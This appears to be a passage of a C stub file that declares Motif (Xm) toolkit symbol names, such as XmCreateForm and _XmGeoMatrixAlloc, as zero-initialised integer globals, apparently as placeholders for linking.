int _XmAssignLabG_MarginRight = 0;
int _XmAssignLabG_MarginTop = 0;
int _XmAssignLabG_MarginWidth = 0;
int XMaxRequestSize = 0;
int _XmBackgroundColorDefault = 0;
int _XmBaseClassPartInitialize = 0;
int _XmBB_CreateButtonG = 0;
int _XmBB_CreateLabelG = 0;
int _XmBB_GetDialogTitle = 0;
int _XmBBUpdateDynDefaultButton = 0;
int XmbDrawImageString = 0;
int XmbDrawString = 0;
int _XmBlackPixel = 0;
int XmbLookupString = 0;
int _XmBottomShadowColorDefault = 0;
int XmbResetIC = 0;
int XmbTextEscapement = 0;
int XmbTextExtents = 0;
int XmbTextListToTextProperty = 0;
int XmbTextPropertyToTextList = 0;
int _XmBuildExtResources = 0;
int _XmBuildGadgetResources = 0;
int _XmBuildManagerResources = 0;
int _XmBuildPrimitiveResources = 0;
int _XmBuildResources = 0;
int _XmBulletinB_defaultTranslations = 0;
int _XmBulletinBoardCancel = 0;
int xmBulletinBoardClassRec = 0;
int _XmBulletinBoardFocusMoved = 0;
int _XmBulletinBoardMap = 0;
int _XmBulletinBoardReturn = 0;
int _XmBulletinBoardSetDefaultShadow = 0;
int _XmBulletinBoardSetDynDefaultButton = 0;
int _XmBulletinBoardSizeUpdate = 0;
int xmBulletinBoardWidgetClass = 0;
int xmButtonBoxClassRec = 0;
int xmButtonBoxWidgetClass = 0;
int _XmButtonPopdownChildren = 0;
int _XmButtonTakeFocus = 0;
int _XmByteOrderChar = 0;
int _XmCacheCopy = 0;
int _XmCacheDelete = 0;
int _XmCachePart = 0;
int _XmCachePixmap = 0;
int _XmCalcLabelDimensions = 0;
int _XmCalcLabelGDimensions = 0;
int _XmCallCallbackList = 0;
int _XmCallFocusMoved = 0;
int _XmCallRowColumnMapCallback = 0;
int _XmCallRowColumnUnmapCallback = 0;
int _XmCascadeB_menubar_events = 0;
int _XmCascadeB_p_events = 0;
int _XmCascadeBPrimClassExtRec = 0;
int xmCascadeButtonClassRec = 0;
int xmCascadeButtonGadgetClass = 0;
int xmCascadeButtonGadgetClassRec = 0;
int XmCascadeButtonGadgetHighlight = 0;
int xmCascadeButtonGCacheObjClassRec = 0;
int XmCascadeButtonHighlight = 0;
int xmCascadeButtonWidgetClass = 0;
int _XmCascadingPopup = 0;
int _XmCBHelp = 0;
int _XmCBNameActivate = 0;
int _XmCBNameValueChanged = 0;
int XmChangeColor = 0;
int _XmChangeHSB = 0;
int _XmChangeNavigationType = 0;
int _XmChangeVSB = 0;
int _XmCharsetCanonicalize = 0;
int _XmCleanPixmapCache = 0;
int _XmClearBCompatibility = 0;
int _XmClearBGCompatibility = 0;
int _XmClearBGPixmapName = 0;
int _XmClearBorder = 0;
int _XmClearDisplayTables = 0;
int _XmClearDragReceiverInfo = 0;
int _XmClearFocusPath = 0;
int _XmClearIconPixmapName = 0;
int _XmClearKbdFocus = 0;
int _XmClearRect = 0;
int _XmClearShadowType = 0;
int _XmClearTabGroup = 0;
int _XmClearTraversal = 0;
int XmClipboardBeginCopy = 0;
int XmClipboardCancelCopy = 0;
int XmClipboardCopy = 0;
int XmClipboardCopyByName = 0;
int XmClipboardEndCopy = 0;
int XmClipboardEndRetrieve = 0;
int XmClipboardInquireCount = 0;
int XmClipboardInquireFormat = 0;
int XmClipboardInquireLength = 0;
int XmClipboardInquirePendingItems = 0;
int XmClipboardLock = 0;
int _XmClipboardPassType = 0;
int XmClipboardRegisterFormat = 0;
int XmClipboardRetrieve = 0;
int XmClipboardStartCopy = 0;
int XmClipboardStartRetrieve = 0;
int XmClipboardUndoCopy = 0;
int XmClipboardUnlock = 0;
int XmClipboardWithdrawFormat = 0;
int xmClipWindowClassRec = 0;
int _XmClipWindowTranslationTable = 0;
int xmClipWindowWidgetClass = 0;
int _XmColorObjCache = 0;
int _XmColorObjCacheDisplay = 0;
int xmColorObjClass = 0;
int xmColorObjClassRec = 0;
int _XmColorObjCreate = 0;
int xmColorSelectorClassRec = 0;
int xmColorSelectorWidgetClass = 0;
int xmColumnClassRec = 0;
int xmColumnWidgetClass = 0;
int xmCombinationBox2ClassRec = 0;
int XmCombinationBox2GetArrow = 0;
int XmCombinationBox2GetChild = 0;
int XmCombinationBox2GetLabel = 0;
int XmCombinationBox2GetList = 0;
int XmCombinationBox2GetText = 0;
int XmCombinationBox2GetValue = 0;
int xmCombinationBox2WidgetClass = 0;
int XmCombinationBoxGetValue = 0;
int XmComboBoxAddItem = 0;
int xmComboBoxClassRec = 0;
int _XmComboBox_defaultAccelerators = 0;
int _XmComboBox_defaultTranslations = 0;
int XmComboBoxDeletePos = 0;
int _XmComboBox_dropDownComboBoxAccelerators = 0;
int _XmComboBox_dropDownListTranslations = 0;
int XmComboBoxSelectItem = 0;
int XmComboBoxSetItem = 0;
int _XmComboBox_textFocusTranslations = 0;
int XmComboBoxUpdate = 0;
int xmComboBoxWidgetClass = 0;
int XmCommandAppendValue = 0;
int xmCommandClassRec = 0;
int XmCommandError = 0;
int XmCommandGetChild = 0;
int _XmCommandReturn = 0;
int XmCommandSetValue = 0;
int _XmCommandUpOrDown = 0;
int xmCommandWidgetClass = 0;
int XmCompareISOLatin1 = 0;
int XmCompareXtWidgetGeometry = 0;
int XmCompareXtWidgetGeometryToWidget = 0;
int _XmComputeVisibilityRect = 0;
int _XmConfigureObject = 0;
int _XmConfigureWidget = 0;
int xmContainerClassRec = 0;
int XmContainerCopy = 0;
int XmContainerCopyLink = 0;
int XmContainerCut = 0;
int _XmContainer_defaultTranslations = 0;
int XmContainerGetItemChildren = 0;
int XmContainerPaste = 0;
int XmContainerPasteLink = 0;
int XmContainerRelayout = 0;
int XmContainerReorder = 0;
int _XmContainer_traversalTranslations = 0;
int xmContainerWidgetClass = 0;
int _XmConvertActionParamToRepTypeId = 0;
int _XmConvertComplete = 0;
int _XmConvertCSToString = 0;
int _XmConvertFactor = 0;
int _XmConvertFloatUnitsToIntUnits = 0;
int _XmConvertHandler = 0;
int _XmConvertHandlerSetLocal = 0;
int _XmConvertStringToUnits = 0;
int XmConvertStringToUnits = 0;
int _XmConvertToBW = 0;
int _XmConvertUnits = 0;
int XmConvertUnits = 0;
int _XmCopyCursorIconQuark = 0;
int XmCopyISOLatin1Lowered = 0;
int _XmCountVaList = 0;
int XmCreateArrowButton = 0;
int XmCreateArrowButtonGadget = 0;
int _XmCreateArrowPixmaps = 0;
int XmCreateBulletinBoard = 0;
int XmCreateBulletinBoardDialog = 0;
int XmCreateButtonBox = 0;
int XmCreateCascadeButton = 0;
int XmCreateCascadeButtonGadget = 0;
int XmCreateColorSelector = 0;
int XmCreateColumn = 0;
int XmCreateCombinationBox2 = 0;
int XmCreateComboBox = 0;
int XmCreateCommand = 0;
int XmCreateCommandDialog = 0;
int XmCreateContainer = 0;
int XmCreateDataField = 0;
int XmCreateDialogShell = 0;
int XmCreateDragIcon = 0;
int XmCreateDrawingArea = 0;
int XmCreateDrawnButton = 0;
int XmCreateDropDown = 0;
int XmCreateDropDownComboBox = 0;
int XmCreateDropDownList = 0;
int XmCreateErrorDialog = 0;
int XmCreateExt18List = 0;
int XmCreateExtended18List = 0;
int XmCreateFileSelectionBox = 0;
int XmCreateFileSelectionDialog = 0;
int _XmCreateFocusData = 0;
int XmCreateFontSelector = 0;
int XmCreateForm = 0;
int XmCreateFormDialog = 0;
int XmCreateFrame = 0;
int XmCreateGrabShell = 0;
int XmCreateIconBox = 0;
int XmCreateIconButton = 0;
int XmCreateIconGadget = 0;
int XmCreateIconHeader = 0;
int XmCreateInformationDialog = 0;
int XmCreateLabel = 0;
int XmCreateLabelGadget = 0;
int XmCreateList = 0;
int XmCreateMainWindow = 0;
int XmCreateMenuBar = 0;
int _XmCreateMenuCursor = 0;
int XmCreateMenuShell = 0;
int XmCreateMessageBox = 0;
int XmCreateMessageDialog = 0;
int XmCreateMultiList = 0;
int XmCreateNotebook = 0;
int XmCreateOptionMenu = 0;
int XmCreateOutline = 0;
int XmCreatePaned = 0;
int XmCreatePanedWindow = 0;
int XmCreatePopupMenu = 0;
int XmCreatePromptDialog = 0;
int XmCreatePulldownMenu = 0;
int XmCreatePushButton = 0;
int XmCreatePushButtonGadget = 0;
int XmCreateQuestionDialog = 0;
int XmCreateRadioBox = 0;
int _XmCreateRenderTable = 0;
int _XmCreateRendition = 0;
int XmCreateRowColumn = 0;
int XmCreateScale = 0;
int XmCreateScrollBar = 0;
int XmCreateScrolledList = 0;
int XmCreateScrolledText = 0;
int XmCreateScrolledWindow = 0;
int XmCreateSelectionBox = 0;
int XmCreateSelectionDialog = 0;
int XmCreateSeparator = 0;
int XmCreateSeparatorGadget = 0;
int XmCreateSimpleCheckBox = 0;
int XmCreateSimpleMenuBar = 0;
int XmCreateSimpleOptionMenu = 0;
int XmCreateSimplePopupMenu = 0;
int XmCreateSimplePulldownMenu = 0;
int XmCreateSimpleRadioBox = 0;
int XmCreateSimpleSpinBox = 0;
int XmCreateSpinBox = 0;
int _XmCreateTab = 0;
int XmCreateTabBox = 0;
int _XmCreateTabList = 0;
int XmCreateTabStack = 0;
int XmCreateTemplateDialog = 0;
int XmCreateText = 0;
int XmCreateTextField = 0;
int XmCreateToggleButton = 0;
int XmCreateToggleButtonGadget = 0;
int XmCreateTree = 0;
int _XmCreateVisibilityRect = 0;
int XmCreateWarningDialog = 0;
int XmCreateWorkArea = 0;
int XmCreateWorkingDialog = 0;
int XmCvtByteStreamToXmString = 0;
int XmCvtCTToXmString = 0;
int XmCvtFromHorizontalPixels = 0;
int XmCvtFromVerticalPixels = 0;
int XmCvtStringToUnitType = 0;
int XmCvtTextPropertyToXmStringTable = 0;
int XmCvtTextToXmString = 0;
int XmCvtToHorizontalPixels = 0;
int XmCvtToVerticalPixels = 0;
int XmCvtXmStringTableToTextProperty = 0;
int XmCvtXmStringToByteStream = 0;
int _XmCvtXmStringToCT = 0;
int XmCvtXmStringToCT = 0;
int XmCvtXmStringToText = 0;
int _XmCvtXmStringToUTF8String = 0;
int XmCvtXmStringToUTF8String = 0;
int _XmDataF_EventBindings1 = 0;
int _XmDataF_EventBindings2 = 0;
int _XmDataF_EventBindings3 = 0;
int _XmDataF_EventBindings4 = 0;
int xmDataFieldClassRec = 0;
int _XmDataFieldConvert = 0;
int XmDataFieldCopy = 0;
int _XmDataFieldCountBytes = 0;
int XmDataFieldCut = 0;
int _XmDataFieldDeselectSelection = 0;
int XmDataFielddf_ClearSelection = 0;
int _XmDataFielddf_SetCursorPosition = 0;
int XmDataFielddf_SetCursorPosition = 0;
int _XmDataFielddf_SetDestination = 0;
int _XmDataFieldDrawInsertionPoint = 0;
int XmDataFieldGetAddMode = 0;
int XmDataFieldGetBaseline = 0;
int XmDataFieldGetCursorPosition = 0;
int _XmDataFieldGetDropReciever = 0;
int XmDataFieldGetEditable = 0;
int XmDataFieldGetInsertionPosition = 0;
int XmDataFieldGetLastPosition = 0;
int XmDataFieldGetMaxLength = 0;
int XmDataFieldGetSelection = 0;
int XmDataFieldGetSelectionPosition = 0;
int XmDataFieldGetSelectionWcs = 0;
int XmDataFieldGetString = 0;
int XmDataFieldGetStringWcs = 0;
int XmDataFieldGetSubstring = 0;
int XmDataFieldGetSubstringWcs = 0;
int XmDataFieldInsert = 0;
int XmDataFieldInsertWcs = 0;
int _XmDataFieldLoseSelection = 0;
int XmDataFieldPaste = 0;
int XmDataFieldPosToXY = 0;
int XmDataFieldRemove = 0;
int XmDataFieldReplace = 0;
int _XmDataFieldReplaceText = 0;
int XmDataFieldReplaceWcs = 0;
int XmDataFieldSetAddMode = 0;
int _XmDataFieldSetClipRect = 0;
int XmDataFieldSetEditable = 0;
int XmDataFieldSetHighlight = 0;
int XmDataFieldSetInsertionPosition = 0;
int XmDataFieldSetMaxLength = 0;
int _XmDataFieldSetSel2 = 0;
int XmDataFieldSetSelection = 0;
int XmDataFieldSetString = 0;
int XmDataFieldShowPosition = 0;
int _XmDataFieldStartSelection = 0;
int xmDataFieldWidgetClass = 0;
int XmDataFieldXYToPos = 0;
int _XmDataFPrimClassExtRec = 0;
int _XmDataFToggleCursorGC = 0;
int XmDeactivateProtocol = 0;
int _XmDefaultColorObj = 0;
int _XmDefaultDragIconQuark = 0;
int _XmdefaultTextActionsTable = 0;
int _XmdefaultTextActionsTableSize = 0;
int _XmDefaultVisualResources = 0;
int xmDesktopClass = 0;
int xmDesktopClassRec = 0;
int xmDesktopObjectClass = 0;
int _XmDestinationHandler = 0;
int _XmDestroyDefaultDragIcon = 0;
int _XmDestroyFocusData = 0;
int _XmDestroyMotifWindow = 0;
int _XmDestroyParentCallback = 0;
int XmDestroyPixmap = 0;
int _XmDestroyTearOffShell = 0;
int xmDialogShellClassRec = 0;
int xmDialogShellExtClassRec = 0;
int xmDialogShellExtObjectClass = 0;
int xmDialogShellWidgetClass = 0;
int _XmDifferentBackground = 0;
int _XmDirectionDefault = 0;
int XmDirectionMatch = 0;
int XmDirectionMatchPartial = 0;
int XmDirectionToStringDirection = 0;
int _XmDismissTearOff = 0;
int _XmDispatchGadgetInput = 0;
int _XmDisplay_baseTranslations = 0;
int xmDisplayClass = 0;
int xmDisplayClassRec = 0;
int xmDisplayObjectClass = 0;
int _XmDoGadgetTraversal = 0;
int XmDragCancel = 0;
int _XmDragC_defaultTranslations = 0;
int xmDragContextClass = 0;
int xmDragContextClassRec = 0;
int xmDragIconClassRec = 0;
int _XmDragIconClean = 0;
int _XmDragIconIsDirty = 0;
int xmDragIconObjectClass = 0;
int _XmDragOverChange = 0;
int _XmDragOverFinish = 0;
int _XmDragOverGetActiveCursor = 0;
int _XmDragOverHide = 0;
int _XmDragOverMove = 0;
int _XmDragOverSetInitialPosition = 0;
int xmDragOverShellClassRec = 0;
int xmDragOverShellWidgetClass = 0;
int _XmDragOverShow = 0;
int XmDragStart = 0;
int _XmDragUnderAnimation = 0;
int _XmDrawArrow = 0;
int XmDrawBevel = 0;
int _XmDrawBorder = 0;
int _XmDrawDiamond = 0;
int _XmDrawDiamondButton = 0;
int _XmDrawHighlight = 0;
int _XmDrawingA_defaultTranslations = 0;
int xmDrawingAreaClassRec = 0;
int _XmDrawingAreaInput = 0;
int xmDrawingAreaWidgetClass = 0;
int _XmDrawingA_traversalTranslations = 0;
int _XmDrawnB_defaultTranslations = 0;
int _XmDrawnB_menuTranslations = 0;
int _XmDrawnBPrimClassExtRec = 0;
int xmDrawnButtonClassRec = 0;
int xmDrawnButtonWidgetClass = 0;
int _XmDrawSeparator = 0;
int _XmDrawShadow = 0;
int _XmDrawShadows = 0;
int _XmDrawShadowType = 0;
int _XmDrawSimpleHighlight = 0;
int _XmDrawSquareButton = 0;
int xmDropDownClassRec = 0;
int XmDropDownGetArrow = 0;
int XmDropDownGetChild = 0;
int XmDropDownGetLabel = 0;
int XmDropDownGetList = 0;
int XmDropDownGetText = 0;
int XmDropDownGetValue = 0;
int xmDropDownWidgetClass = 0;
int XmDropSiteConfigureStackingOrder = 0;
int XmDropSiteEndUpdate = 0;
int XmDropSiteGetActiveVisuals = 0;
int xmDropSiteManagerClassRec = 0;
int xmDropSiteManagerObjectClass = 0;
int XmDropSiteQueryStackingOrder = 0;
int XmDropSiteRegister = 0;
int XmDropSiteRegistered = 0;
int XmDropSiteRetrieve = 0;
int _XmDropSiteShell = 0;
int XmDropSiteStartUpdate = 0;
int XmDropSiteUnregister = 0;
int XmDropSiteUpdate = 0;
int _XmDropSiteWrapperCandidate = 0;
int XmDropTransferAdd = 0;
int xmDropTransferClassRec = 0;
int xmDropTransferObjectClass = 0;
int XmDropTransferStart = 0;
int _XmDSIAddChild = 0;
int _XmDSIDestroy = 0;
int _XmDSIGetBorderWidth = 0;
int _XmDSIGetChildPosition = 0;
int _XmDSIRemoveChild = 0;
int _XmDSIReplaceChild = 0;
int _XmDSISwapChildren = 0;
int _XmDSMGetTreeFromDSM = 0;
int _XmDSMUpdate = 0;
int _XmDSResources = 0;
int XmeAddFocusChangeCallback = 0;
int XmeClearBorder = 0;
int XmeClipboardSink = 0;
int XmeClipboardSource = 0;
int XmeConfigureObject = 0;
int XmeConvertMerge = 0;
int XmeCountVaListSimple = 0;
int XmeCreateClassDialog = 0;
int _XmEditResCheckMessages = 0;
int XmeDragSource = 0;
int XmeDrawArrow = 0;
int XmeDrawCircle = 0;
int XmeDrawDiamond = 0;
int XmeDrawHighlight = 0;
int XmeDrawIndicator = 0;
int XmeDrawPolygonShadow = 0;
int XmeDrawSeparator = 0;
int XmeDrawShadows = 0;
int XmeDropSink = 0;
int XmeFlushIconFileCache = 0;
int XmeFocusIsInShell = 0;
int XmeFromHorizontalPixels = 0;
int XmeFromVerticalPixels = 0;
int XmeGetColorObjData = 0;
int XmeGetDefaultPixel = 0;
int XmeGetDefaultRenderTable = 0;
int XmeGetDesktopColorCells = 0;
int XmeGetDirection = 0;
int XmeGetEncodingAtom = 0;
int XmeGetHomeDirName = 0;
int XmeGetIconControlInfo = 0;
int XmeGetLocalizedString = 0;
int XmeGetMask = 0;
int XmeGetNextCharacter = 0;
int XmeGetNullCursor = 0;
int XmeGetPixelData = 0;
int XmeGetPixmapData = 0;
int XmeGetTextualDragIcon = 0;
int XmeMicroSleep = 0;
int _XmEmptyRect = 0;
int XmeNamedSink = 0;
int XmeNamedSource = 0;
int XmeNamesAreEqual = 0;
int XmeNavigChangeManaged = 0;
int _XmEnterGadget = 0;
int _XmEnterRowColumn = 0;
int _XmEntryByteCountGet = 0;
int _XmEntryCacheGet = 0;
int _XmEntryCharCountGet = 0;
int _XmEntryDirectionGet = 0;
int _XmEntryDirectionSet = 0;
int _XmEntryPopGet = 0;
int _XmEntryPushGet = 0;
int _XmEntryRendBeginCountGet = 0;
int _XmEntryRendBeginGet = 0;
int _XmEntryRendBeginSet = 0;
int _XmEntryRendEndCountGet = 0;
int _XmEntryRendEndGet = 0;
int _XmEntryRendEndSet = 0;
int _XmEntryTabsGet = 0;
int _XmEntryTag = 0;
int _XmEntryTagSet = 0;
int _XmEntryTextGet = 0;
int _XmEntryTextSet = 0;
int _XmEntryTextTypeGet = 0;
int XmeParseUnits = 0;
int XmePrimarySink = 0;
int XmePrimarySource = 0;
int XmeQueryBestCursorSize = 0;
int _XmEraseShadow = 0;
int XmeRedisplayGadgets = 0;
int XmeRemoveFocusChangeCallback = 0;
int XmeRenderTableGetDefaultFont = 0;
int XmeReplyToQueryGeometry = 0;
int XmeResolvePartOffsets = 0;
int XmeSecondarySink = 0;
int XmeSecondarySource = 0;
int XmeSecondaryTransfer = 0;
int XmeSetWMShellTitle = 0;
int XmeStandardConvert = 0;
int XmeStandardTargets = 0;
int XmeStringGetComponent = 0;
int XmeStringIsValid = 0;
int XmeToHorizontalPixels = 0;
int XmeToVerticalPixels = 0;
int XmeTraitGet = 0;
int XmeTraitSet = 0;
int XmeTransferAddDoneProc = 0;
int XmeUseColorObj = 0;
int XmeVirtualToActualKeysyms = 0;
int XmeVLCreateWidget = 0;
int XmeWarning = 0;
int XME_WARNING = 0;
int XmeXpmAttributesSize = 0;
int XmeXpmCreateBufferFromImage = 0;
int XmeXpmCreateBufferFromPixmap = 0;
int XmeXpmCreateBufferFromXpmImage = 0;
int XmeXpmCreateDataFromImage = 0;
int XmeXpmCreateDataFromPixmap = 0;
int XmeXpmCreateDataFromXpmImage = 0;
int XmeXpmCreateImageFromBuffer = 0;
int XmeXpmCreateImageFromData = 0;
int XmeXpmCreateImageFromXpmImage = 0;
int XmeXpmCreatePixmapFromBuffer = 0;
int XmeXpmCreatePixmapFromData = 0;
int XmeXpmCreatePixmapFromXpmImage = 0;
int XmeXpmCreateXpmImageFromBuffer = 0;
int XmeXpmCreateXpmImageFromData = 0;
int XmeXpmCreateXpmImageFromImage = 0;
int XmeXpmCreateXpmImageFromPixmap = 0;
int XmeXpmFree = 0;
int XmeXpmFreeAttributes = 0;
int XmeXpmFreeExtensions = 0;
int XmeXpmFreeXpmImage = 0;
int XmeXpmFreeXpmInfo = 0;
int XmeXpmGetErrorString = 0;
int XmeXpmLibraryVersion = 0;
int XmeXpmReadFileToBuffer = 0;
int XmeXpmReadFileToData = 0;
int XmeXpmReadFileToImage = 0;
int XmeXpmReadFileToPixmap = 0;
int XmeXpmReadFileToXpmImage = 0;
int XmeXpmWriteFileFromBuffer = 0;
int XmeXpmWriteFileFromData = 0;
int XmeXpmWriteFileFromImage = 0;
int XmeXpmWriteFileFromPixmap = 0;
int XmeXpmWriteFileFromXpmImage = 0;
int xmExt18ListClassRec = 0;
int XmExt18ListDeselectItems = 0;
int XmExt18ListDeselectRow = 0;
int XmExt18ListGetSelectedRowArray = 0;
int XmExt18ListGetSelectedRows = 0;
int XmExt18ListMakeRowVisible = 0;
int XmExt18ListSelectAllItems = 0;
int XmExt18ListSelectItems = 0;
int XmExt18ListSelectRow = 0;
int XmExt18ListToggleRow = 0;
int XmExt18ListUnselectAllItems = 0;
int XmExt18ListUnselectItem = 0;
int xmExt18ListWidgetClass = 0;
int xmExtClassRec = 0;
int _XmExtGetValuesHook = 0;
int _XmExtHighlightBorder = 0;
int _XmExtImportArgs = 0;
int _XmExtObjAlloc = 0;
int xmExtObjectClass = 0;
int _XmExtObjFree = 0;
int _XmExtUnhighlightBorder = 0;
int _Xm_fastPtr = 0;
int _XmFastSubclassInit = 0;
int _XmFileSBGeoMatrixCreate = 0;
int xmFileSelectionBoxClassRec = 0;
int _XmFileSelectionBoxCreateDirList = 0;
int _XmFileSelectionBoxCreateDirListLabel = 0;
int _XmFileSelectionBoxCreateFilterLabel = 0;
int _XmFileSelectionBoxCreateFilterText = 0;
int _XmFileSelectionBoxFocusMoved = 0;
int XmFileSelectionBoxGetChild = 0;
int _XmFileSelectionBoxGetDirectory = 0;
int _XmFileSelectionBoxGetDirListItemCount = 0;
int _XmFileSelectionBoxGetDirListItems = 0;
int _XmFileSelectionBoxGetDirListLabelString = 0;
int _XmFileSelectionBoxGetDirMask = 0;
int _XmFileSelectionBoxGetFilterLabelString = 0;
int _XmFileSelectionBoxGetListItemCount = 0;
int _XmFileSelectionBoxGetListItems = 0;
int _XmFileSelectionBoxGetNoMatchString = 0;
int _XmFileSelectionBoxGetPattern = 0;
int _XmFileSelectionBoxNoGeoRequest = 0;
int _XmFileSelectionBoxRestore = 0;
int _XmFileSelectionBoxUpOrDown = 0;
int xmFileSelectionBoxWidgetClass = 0;
int XmFileSelectionDoSearch = 0;
int _XmFilterArgs = 0;
int _XmFilterResources = 0;
int _XmFindNextTabGroup = 0;
int _XmFindPrevTabGroup = 0;
int _XmFindTabGroup = 0;
int _XmFindTopMostShell = 0;
int _XmFindTraversablePrim = 0;
int _XmFocusInGadget = 0;
int _XmFocusIsHere = 0;
int _XmFocusIsInShell = 0;
int _XmFocusModelChanged = 0;
int _XmFocusOutGadget = 0;
int XmFontListAdd = 0;
int XmFontListAppendEntry = 0;
int XmFontListCopy = 0;
int XmFontListCreate = 0;
int XmFontListCreate_r = 0;
int XmFontListEntryCreate = 0;
int XmFontListEntryCreate_r = 0;
int XmFontListEntryFree = 0;
int XmFontListEntryGetFont = 0;
int XmFontListEntryGetTag = 0;
int XmFontListEntryLoad = 0;
int XmFontListFree = 0;
int XmFontListFreeFontContext = 0;
int _XmFontListGetDefaultFont = 0;
int XmFontListGetNextFont = 0;
int XmFontListInitFontContext = 0;
int XmFontListNextEntry = 0;
int XmFontListRemoveEntry = 0;
int _XmFontListSearch = 0;
int xmFontSelectorClassRec = 0;
int xmFontSelectorWidgetClass = 0;
int _XmForegroundColorDefault = 0;
int xmFormClassRec = 0;
int xmFormWidgetClass = 0;
int xmFrameClassRec = 0;
int _XmFrame_defaultTranslations = 0;
int xmFrameWidgetClass = 0;
int _XmFreeDragReceiverInfo = 0;
int _XmFreeHashTable = 0;
int _XmFreeMotifAtom = 0;
int _XmFreeScratchPixmap = 0;
int _XmFreeTravGraph = 0;
int _XmFreeWidgetExtData = 0;
int _XmFromHorizontalPixels = 0;
int _XmFromLayoutDirection = 0;
int _XmFromPanedPixels = 0;
int _XmFromVerticalPixels = 0;
int _XmGadClassExtRec = 0;
int _XmGadgetActivate = 0;
int _XmGadgetArm = 0;
int _XmGadgetButtonMotion = 0;
int xmGadgetClass = 0;
int xmGadgetClassRec = 0;
int _XmGadgetDrag = 0;
int _XmGadgetGetValuesHook = 0;
int _XmGadgetImportArgs = 0;
int _XmGadgetImportSecondaryArgs = 0;
int _XmGadgetKeyInput = 0;
int _XmGadgetMultiActivate = 0;
int _XmGadgetMultiArm = 0;
int _XmGadgetSelect = 0;
int _XmGadgetTraverseCurrent = 0;
int _XmGadgetTraverseDown = 0;
int _XmGadgetTraverseHome = 0;
int _XmGadgetTraverseLeft = 0;
int _XmGadgetTraverseNext = 0;
int _XmGadgetTraverseNextTabGroup = 0;
int _XmGadgetTraversePrev = 0;
int _XmGadgetTraversePrevTabGroup = 0;
int _XmGadgetTraverseRight = 0;
int _XmGadgetTraverseUp = 0;
int _XmGadgetWarning = 0;
int _XmGeoAdjustBoxes = 0;
int _XmGeoArrangeBoxes = 0;
int _XmGeoBoxesSameHeight = 0;
int _XmGeoBoxesSameWidth = 0;
int _XmGeoClearRectObjAreas = 0;
int _XmGeoCount_kids = 0;
int _XmGeoGetDimensions = 0;
int _XmGeoLoadValues = 0;
int _XmGeoMatrixAlloc = 0;
int _XmGeoMatrixFree = 0;
int _XmGeoMatrixGet = 0;
int _XmGeoMatrixSet = 0;
int _XmGeometryEqual = 0;
int _XmGeoReplyYes = 0;
int _XmGeoSetupKid = 0;
int _XmGetActiveDropSite = 0;
int _XmGetActiveItem = 0;
int _XmGetActiveProtocolStyle = 0;
int _XmGetActiveTabGroup = 0;
int _XmGetActiveTopLevelMenu = 0;
int _XmGetActualClass = 0;
int _XmGetArrowDrawRects = 0;
int XmGetAtomName = 0;
int _XmGetAudibleWarning = 0;
int _XmGetBGPixmapName = 0;
int _XmGetBitmapConversionModel = 0;
int _XmGetBottomShadowColor = 0;
int _XmGetClassExtensionPtr = 0;
int _XmGetColorAllocationProc = 0;
int XmGetColorCalculation = 0;
int _XmGetColorCalculationProc = 0;
int _XmGetColoredPixmap = 0;
int _XmGetColors = 0;
int XmGetColors = 0;
int _XmGetDefaultBackgroundColorSpec = 0;
int _XmGetDefaultColors = 0;
int _XmGetDefaultDisplay = 0;
int _XmGetDefaultFontList = 0;
int _XmGetDefaultThresholdsForScreen = 0;
int _XmGetDefaultTime = 0;
int XmGetDestination = 0;
int _XmGetDisplayObject = 0;
int XmGetDragContext = 0;
int _XmGetDragContextFromHandle = 0;
int _XmGetDragCursorCachePtr = 0;
int _XmGetDragProtocolStyle = 0;
int _XmGetDragProxyWindow = 0;
int _XmGetDragReceiverInfo = 0;
int _XmGetDropSiteManagerObject = 0;
int _XmGetEffectiveView = 0;
int _XmGetEncodingRegistryTarget = 0;
int _XmGetFirstFocus = 0;
int _XmGetFirstFont = 0;
int _XmGetFocus = 0;
int _XmGetFocusData = 0;
int _XmGetFocusFlag = 0;
int _XmGetFocusPolicy = 0;
int _XmGetFocusResetFlag = 0;
int XmGetFocusWidget = 0;
int _XmGetFontUnit = 0;
int _XmGetHashEntryIterate = 0;
int _XmGetHighlightColor = 0;
int _XmGetIconControlInfo = 0;
int XmGetIconFileName = 0;
int _XmGetIconPixmapName = 0;
int _XmGetImage = 0;
int _XmGetImageAndHotSpotFromFile = 0;
int _XmGetImageFromFile = 0;
int _XmGetInDragMode = 0;
int _XmGetInsensitiveStippleBitmap = 0;
int _XmGetKidGeo = 0;
int _XmGetLayoutDirection = 0;
int _XmGetManagedInfo = 0;
int _XmGetMaxCursorSize = 0;
int _XmGetMBStringFromXmString = 0;
int XmGetMenuCursor = 0;
int _XmGetMenuCursorByScreen = 0;
int _XmGetMenuProcContext = 0;
int _XmGetMenuState = 0;
int _XmGetMotifAtom = 0;
int _XmGetMoveOpaqueByScreen = 0;
int _XmGetNavigability = 0;
int _XmGetNavigationType = 0;
int _Xm_GetNewElement = 0;
int XmGetNewPictureState = 0;
int _XmGetNullCursor = 0;
int _XmGetPixelData = 0;
int _XmGetPixmap = 0;
int XmGetPixmap = 0;
int _XmGetPixmapBasedGC = 0;
int XmGetPixmapByDepth = 0;
int _XmGetPixmapData = 0;
int _XmGetPointVisibility = 0;
int _XmGetPopupMenuClick = 0;
int XmGetPostedFromWidget = 0;
int _XmGetRC_PopupPosted = 0;
int _XmGetRealXlations = 0;
int _XmGetScaledPixmap = 0;
int XmGetScaledPixmap = 0;
int _XmGetScreenObject = 0;
int XmGetSecondaryResourceData = 0;
int _XmGetTabGroup = 0;
int XmGetTabGroup = 0;
int XmGetTearOffControl = 0;
int _XmGetTextualDragIcon = 0;
int XmGetToolTipString = 0;
int _XmGetTopShadowColor = 0;
int _XmGetTransientFlag = 0;
int _XmGetUnitType = 0;
int _XmGetUnpostBehavior = 0;
int XmGetVisibility = 0;
int _XmGetWidgetExtData = 0;
int _XmGetWidgetNavigPtrs = 0;
int _XmGetWorldObject = 0;
int _XmGetWrapperData = 0;
int XmGetXmDisplay = 0;
int _XmGetXmDisplayClass = 0;
int XmGetXmScreen = 0;
int _XmGMCalcSize = 0;
int _XmGMDoLayout = 0;
int _XmGMEnforceMargin = 0;
int _XmGMHandleGeometryManager = 0;
int _XmGMHandleQueryGeometry = 0;
int _XmGMOverlap = 0;
int _XmGMReplyToQueryGeometry = 0;
int _XmGrabKeyboard = 0;
int _XmGrabPointer = 0;
int xmGrabShellClassRec = 0;
int _XmGrabShell_translations = 0;
int xmGrabShellWidgetClass = 0;
int _XmGrabTheFocus = 0;
int _XmHandleGeometryManager = 0;
int _XmHandleMenuButtonPress = 0;
int _XmHandleQueryGeometry = 0;
int _XmHandleSizeUpdate = 0;
int _XmHashTableCount = 0;
int _XmHashTableSize = 0;
